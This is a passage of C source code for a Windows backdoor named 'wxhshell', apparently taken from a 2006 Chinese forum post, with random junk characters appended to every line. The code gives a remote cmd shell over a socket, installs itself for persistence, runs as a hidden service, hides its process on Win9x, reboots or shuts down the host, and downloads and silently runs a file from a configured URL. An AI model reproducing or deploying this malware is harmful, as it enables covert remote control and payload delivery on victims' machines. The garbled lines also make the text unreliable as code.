    switch(cmd[0]) { szU_,.\  
  "gGv>]3  
  // 帮助 X1~ WQ?ww  
  case '?': { 137:T:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D;WQNlTU  
    break; B>,&{ah/5J  
  } ?cD2EX%(  
  // 安装 qr_:zXsob_  
  case 'i': { 3eJ"7sftW  
    if(Install()) 4WZ"8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xE%sPWbj  
    else $z*Y:vFP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6 [d'2  
    break; kC4}@{4i  
    } D0a3%LBS/2  
  // 卸载 oBZzMTPe  
  case 'r': {  Vq K/GWg  
    if(Uninstall()) W<s5rMx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9a lMC  
    else 7\sRf/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'r_NA!R  
    break; iP^o]4[c  
    } h!h<!xaclW  
  // 显示 wxhshell 所在路径 m*Q*{M_e  
  case 'p': { {|ChwM\x  
    char svExeFile[MAX_PATH]; Y<EdFzle  
    strcpy(svExeFile,"\n\r"); %+e% RZ3  
      strcat(svExeFile,ExeFile); QpC,komLJ  
        send(wsh,svExeFile,strlen(svExeFile),0); x;p7n 2_  
    break; tX *}l|;(  
    } z9 )I@P"  
  // 重启 Ec;{N  
  case 'b': { AEr8^6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dyMj=e  
    if(Boot(REBOOT)) 'k(aZ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]>m#yk   
    else { $MB /j6#j  
    closesocket(wsh); T.kQ] h2ZG  
    ExitThread(0); ( 17=|s  
    } q=(.N>%  
    break; 60r4%> d  
    } ?cdjQ@j~h  
  // 关机 ^jxV  
  case 'd': { $^;b 1bnO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q1?09  
    if(Boot(SHUTDOWN)) h8me.=S&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zn]njf1x  
    else { + IpC  
    closesocket(wsh); :`w'}h7m  
    ExitThread(0); vPbmQh ex  
    } e;ej/)no`  
    break; ;Q&|-`NK  
    } .*z Wm  
  // 获取shell [TFd|ywn  
  case 's': { 4Cl41a  
    CmdShell(wsh); ]~H\X":[>  
    closesocket(wsh); G^Q8B^Lg  
    ExitThread(0); rbw5.NU  
    break; a.O pxd  
  } t'pY~a9F  
  // 退出 >PBP:s1f4>  
  case 'x': { m5/d=k0l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D#I^;Xg0h  
    CloseIt(wsh); =T0;F0@#4  
    break; Sb;=YW 1<  
    } wxx3']:  
  // 离开 vL,:Yn@b  
  case 'q': { +4Uxq{.K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NEb M>1>^  
    closesocket(wsh); 2iJ)K rw  
    WSACleanup(); ra4$/@3n  
    exit(1); dvl'Sq<  
    break; f1_b``M  
        } V{ yP/X  
  } --}5%6  
  } s.p4+K J  
wcI? .  
  // 提示信息 R rtr\ a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XFiP8aX<  
} k,mgiGrQ  
  } P wY~L3,  
f=L&>X  
  return; ?"o7x[  
} PS=N]e7k'  
6|Qg=4_FHt  
// shell模块句柄 _3'FX# xc  
int CmdShell(SOCKET sock) ZHWxU  
{ G'M;]R9EP  
STARTUPINFO si; $xK2M  
ZeroMemory(&si,sizeof(si)); 'Cv>V"X: `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q2L>P<87T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +[R,wsG  
PROCESS_INFORMATION ProcessInfo; .a0]1IkatV  
char cmdline[]="cmd"; ruKm_j#J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @> ]O6P2  
  return 0; DQ86(4e*g#  
} 3;hztCZj  
$:i%\7=  
// 自身启动模式 '[z529HN  
int StartFromService(void) a^ _ _Z3g,  
{ oE H""Bd  
typedef struct XDtMFig  
{ t{ R\\j  
  DWORD ExitStatus; L^{1dVGWNa  
  DWORD PebBaseAddress; Wz%b,!  
  DWORD AffinityMask; s IE2a0+  
  DWORD BasePriority; C;UqLMrOI  
  ULONG UniqueProcessId; @X?7a]+;8  
  ULONG InheritedFromUniqueProcessId; %lbDcEsf9  
}   PROCESS_BASIC_INFORMATION; .T63:  
<*/IV<  
PROCNTQSIP NtQueryInformationProcess; WEnI[JGe  
EDA%qNd]j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <?&Y_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0{q>'dv  
R_7[7 /a  
  HANDLE             hProcess; 3b d(.he2u  
  PROCESS_BASIC_INFORMATION pbi; g5OKhL0u  
M&v;#CV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <?>1eU%  
  if(NULL == hInst ) return 0; $5]}]  
5{"v/nXV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  mdtG W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^c-8~r|y,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kF@Z4MB}yr  
^xt@  
  if (!NtQueryInformationProcess) return 0; z]%c6ty  
@,:6wKMc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @7? O#WmL  
  if(!hProcess) return 0; zJ $&`=  
x_+-TC4IXn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V'q?+p] a  
!S3^{l-  
  CloseHandle(hProcess); x<'<E@jpU;  
N8E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B4Fuvi  
if(hProcess==NULL) return 0; _t/~C*=:=  
m4r<=o  
HMODULE hMod; (B^rW,V[R  
char procName[255]; gJZH??b  
unsigned long cbNeeded; $VxKv7:  
Q;xJ/4 Z"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZamOYkRX  
_m.w5nJ  
  CloseHandle(hProcess); DP8%/CV!*  
QMhvyzkS  
if(strstr(procName,"services")) return 1; // 以服务启动 WqJrDj~  
4~K%,K+Du  
  return 0; // 注册表启动 xjy(f~'  
} a_3w/9L4r  
h.*v0cq:  
// 主模块 idNra#  
int StartWxhshell(LPSTR lpCmdLine) #I"s{*  
{ 4Jf9N'  
  SOCKET wsl; G`Df'Yy  
BOOL val=TRUE; b]b+PK*h  
  int port=0; |JLXgwML  
  struct sockaddr_in door; {ldt/dl~  
7tP%tp ez  
  if(wscfg.ws_autoins) Install(); !+u K@z&G  
ictV7)  
port=atoi(lpCmdLine); eBWgAf.k  
v{X<6^g  
if(port<=0) port=wscfg.ws_port; mIZ6[ ?  
, .E>  
  WSADATA data; |[)n.N65 =  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Am!OLGG4  
5HaI$>h6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ifcp!l+8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +ag_w}  
  door.sin_family = AF_INET; U,K=(I7OBX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FuM:~jv  
  door.sin_port = htons(port); zP&D  
Sh2BU3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P~M[i9 V  
closesocket(wsl); ?C`r3  
return 1; . 1+I8qj  
} 8'"=y}]H~  
A5T&i]  
  if(listen(wsl,2) == INVALID_SOCKET) { L54]l^ls>  
closesocket(wsl); M@z_tR'3\  
return 1; n?778Wo}  
} 2?{'(i ay  
  Wxhshell(wsl); M1icj~Jr  
  WSACleanup(); nMK$&h,{  
nV`U{}x  
return 0; 9a]{|M9  
@^R l{p  
} #aQQd8   
JW!.+ Q  
// 以NT服务方式启动 iu?gZVyka  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @QMy!y_K~m  
{ K3Bw3j 9  
DWORD   status = 0; wn;)La  
  DWORD   specificError = 0xfffffff; U\u07^h[  
h*R w^5,c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %fnG v\uI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~yt7L,OQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  o*Xfgc  
  serviceStatus.dwWin32ExitCode     = 0; ?;y-skh  
  serviceStatus.dwServiceSpecificExitCode = 0; L6ap |u  
  serviceStatus.dwCheckPoint       = 0; !,dp/5 V  
  serviceStatus.dwWaitHint       = 0; mITNx^p4f  
P2@Z7DhQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =P%&]5ts  
  if (hServiceStatusHandle==0) return; 51u\am'T  
7{]dh+)  
status = GetLastError(); )3)7zulnXH  
  if (status!=NO_ERROR) IJ~j(.W  
{ e=l:!E10  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l2kGFgc  
    serviceStatus.dwCheckPoint       = 0; x5CMP%}d  
    serviceStatus.dwWaitHint       = 0; b8_F2  
    serviceStatus.dwWin32ExitCode     = status; }h=PW'M{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y!8FW|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t>AOF\  
    return; J&s$Wqf  
  } op\$(7<d-  
%ioVNbrR7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? 3OfiGX?  
  serviceStatus.dwCheckPoint       = 0; qDG2rFu&[  
  serviceStatus.dwWaitHint       = 0; lm 96:S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %S"85#R5E  
} ``P9fd  
s[sv4hq  
// 处理NT服务事件,比如:启动、停止 l -xc*lC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) - om9 Z0e  
{ ^;'8yE/  
switch(fdwControl) vc&v+5Y  
{ FuBt`H  
case SERVICE_CONTROL_STOP: 2QRO$NieV  
  serviceStatus.dwWin32ExitCode = 0; ^~.AV]t|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @,n)1*{P  
  serviceStatus.dwCheckPoint   = 0; MqB@}!  
  serviceStatus.dwWaitHint     = 0; tj'~RQvO  
  { @lF?+/=$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B ,cFvS  
  } yKoZj   
  return; K6t"98  
case SERVICE_CONTROL_PAUSE: tc0;Ake-&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L/[VpD  
  break; /wLGf]0  
case SERVICE_CONTROL_CONTINUE: W~0rSVD$<z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v@soS1V!  
  break; Sz@z 0'  
case SERVICE_CONTROL_INTERROGATE: [B# XA}w  
  break; |~e"i<G#  
}; (0 H=f6N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mLqqo2u  
} 6{buel(|e  
Lo%vG{yTr  
// 标准应用程序主函数 .Pponmy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {KNaJ/:>W  
{ 9gcW;  
Jgv Mx  
// 获取操作系统版本 A{ ~D_q  
OsIsNt=GetOsVer(); a8J AJkFB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r=5 S0  
j*<J&/luYZ  
  // 从命令行安装 hHN[K  
  if(strpbrk(lpCmdLine,"iI")) Install(); $G`CXhbl  
s|e.mZk/  
  // 下载执行文件 S>0%jCjW  
if(wscfg.ws_downexe) { Q-'j131[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /"8e,  
  WinExec(wscfg.ws_filenam,SW_HIDE); xqzeBLU  
} XnZ$ %?$  
]]PNYa  
if(!OsIsNt) { UeO/<ml3>J  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y2x|6{ #  
HideProc(); bE/|&8  
StartWxhshell(lpCmdLine); a#=d{/ ab  
} J:N(U0U  
else VGc*aQYa  
  if(StartFromService()) }ouGxs+^[  
  // 以服务方式启动 s#s">hMrI  
  StartServiceCtrlDispatcher(DispatchTable); 4{YA['  
else Nn[*ox#i  
  // 普通方式启动 bgi_QB#k\  
  StartWxhshell(lpCmdLine); oZiW4z*Wh  
l&ueD& *4&  
return 0; KMj\A d  
}
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只看该作者 1 发表于: 2006-10-10
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